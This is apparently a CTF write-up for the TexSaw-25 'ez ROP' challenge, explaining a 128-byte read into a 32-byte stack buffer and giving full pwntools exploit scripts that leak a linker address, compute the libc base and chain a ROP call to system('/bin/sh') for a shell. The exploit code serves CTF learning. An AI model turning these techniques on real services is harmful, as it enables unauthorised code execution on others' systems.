- Published on
TexSaw-25 - PWN - ez ROP
- Authors
- Name
- Muhammad Haris
- @ArcusTen
Challenge Description
I wasn't able to solve this challenge during ctf because when I joined it only 2 hours were left. 🫠

Solution
Binary Protections (Only NX is enabled plus partial RELRO):

Disassembly of main:
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000401106 <+0>: push rbp
0x0000000000401107 <+1>: mov rbp,rsp
0x000000000040110a <+4>: lea rcx,[rbp-0x20]
0x000000000040110e <+8>: mov rax,0x0
0x0000000000401115 <+15>: mov rdi,0x0
0x000000000040111c <+22>: mov rsi,rcx
0x000000000040111f <+25>: mov rdx,0x80
0x0000000000401126 <+32>: syscall
0x0000000000401128 <+34>: pop rbp
0x0000000000401129 <+35>: ret
This code sets up a buffer at [rbp-0x20] and uses the syscall instruction to read up to 0x80 (128) bytes from file descriptor 0 (stdin) into that buffer. However, the buffer is only 32 bytes (0x20) in size, so reading 128 bytes leads to a stack-based buffer overflow.
If you look closely, it intially sets rax
to 0 and then performs syscall
i.e., read syscall. As we know, read syscall returns number of bytes (that it read) into rax after its syscall. So, what we can do is trigger a write syscall to leak memory off the stack (hoping to get a linker/stack leak).
CAUTION
Remember to patch binary with libc and linker from the Dockerfile provided to us.
#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
elf = context.binary = ELF("./easy_rop_patched")
io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process()#, aslr=True)
libc = ELF("libc.so.6")
gdb.attach(io, '''
b *0x0000000000401126
''') if args.GDB else None
OFFSET = 40
# 0x000000000040112e : pop rdi ; pop rbp ; ret
POP_RDI_RBP_RET = 0x000000000040112e
SYSCALL = 0x0000000000401126
payload = flat(
cyclic(OFFSET),
elf.sym.main, # setting rax = 1 for write syscall
POP_RDI_RBP_RET,
1, # RDI = 1 (stdout)
0, # RBP = 0
SYSCALL, # write(stdout, stack_value, 0x80) <- rdx is already set 0x80
0, # for rbp after the syscall in main
elf.sym.main, # going back to main after getting leaks
)
io.send(payload)
sleep(1) # short delay before sending the 1 byte to trigger write syscall
io.send(b"A") # 1 byte to trigger write syscall
io.interactive()
Here in the leaks, we can see a 0x7f
byte (probably a linker leak):

Lets check what leak it is after unpacking it:
io.recv(112)
leak = u64(io.recv(8))
log.info("LEAK:- %#x" % leak)
Its a linker leak with an offset of 0x32020 from its base:

Now from linker leak, we can calculate the base address of libc as they are both at the same offset from each other:

Now that we know the libc base, it's a simple ROP from here:
#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
elf = context.binary = ELF("./easy_rop_patched")
io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process()#, aslr=True)
libc = ELF("libc.so.6")
gdb.attach(io, '''
# b *0x0000000000401126
''') if args.GDB else None
OFFSET = 40
# 0x000000000040112e : pop rdi ; pop rbp ; ret
POP_RDI_RBP_RET = 0x000000000040112e
SYSCALL = 0x0000000000401126
payload = flat(
cyclic(OFFSET),
elf.sym.main, # setting rax = 1 for write syscall
POP_RDI_RBP_RET,
1, # RDI = 1 (stdout)
0, # RBP = 0
SYSCALL, # write(stdout, stack_value, 0x80) <- rdx is already set 0x80
0, # for rbp after the syscall in main
elf.sym.main, # going back to main after getting leaks
)
io.send(payload)
sleep(1) # short delay before sending the 1 byte to trigger write syscall
io.send(b"A") # 1 byte to trigger write syscall
io.recv(112)
leak = u64(io.recv(8))
log.info("LEAK:- %#x" % leak)
libc.address = leak - 0x215020
log.info("LIBC BASE:- %#x" % libc.address)
# ROPgadget --binary libc.so.6 | grep "pop rdi"
# 0x0000000000027725 : pop rdi ; ret
POP_RDI = libc.address + 0x0027725
BIN_SH = next(libc.search(b"/bin/sh\x00"))
payload = flat(
cyclic(OFFSET),
POP_RDI,
BIN_SH,
libc.sym.system,
)
io.send(payload)
io.interactive()

Tip
How to get libc and linker path in a docker container where file
, ldd
etc commands doesn't exist. First run the binary in background:
/srv/app # ./run &
/srv/app #
[1]+ Stopped (tty input) ./run
Now find PID of the binary process:
/srv/app # # Find its PID
/srv/app # pidof run
28
Now with the number, do cat /proc/<no>/maps
and you will get the paths like this:
/srv/app # cat /proc/28/maps | grep libc
7fbe68337000-7fbe6835d000 r--p 00000000 08:40 62793064 /lib/libc.so.6
7fbe6835d000-7fbe684b2000 r-xp 00026000 08:40 62793064 /lib/libc.so.6
7fbe684b2000-7fbe68505000 r--p 0017b000 08:40 62793064 /lib/libc.so.6
7fbe68505000-7fbe68509000 r--p 001ce000 08:40 62793064 /lib/libc.so.6
7fbe68509000-7fbe6850b000 rw-p 001d2000 08:40 62793064 /lib/libc.so.6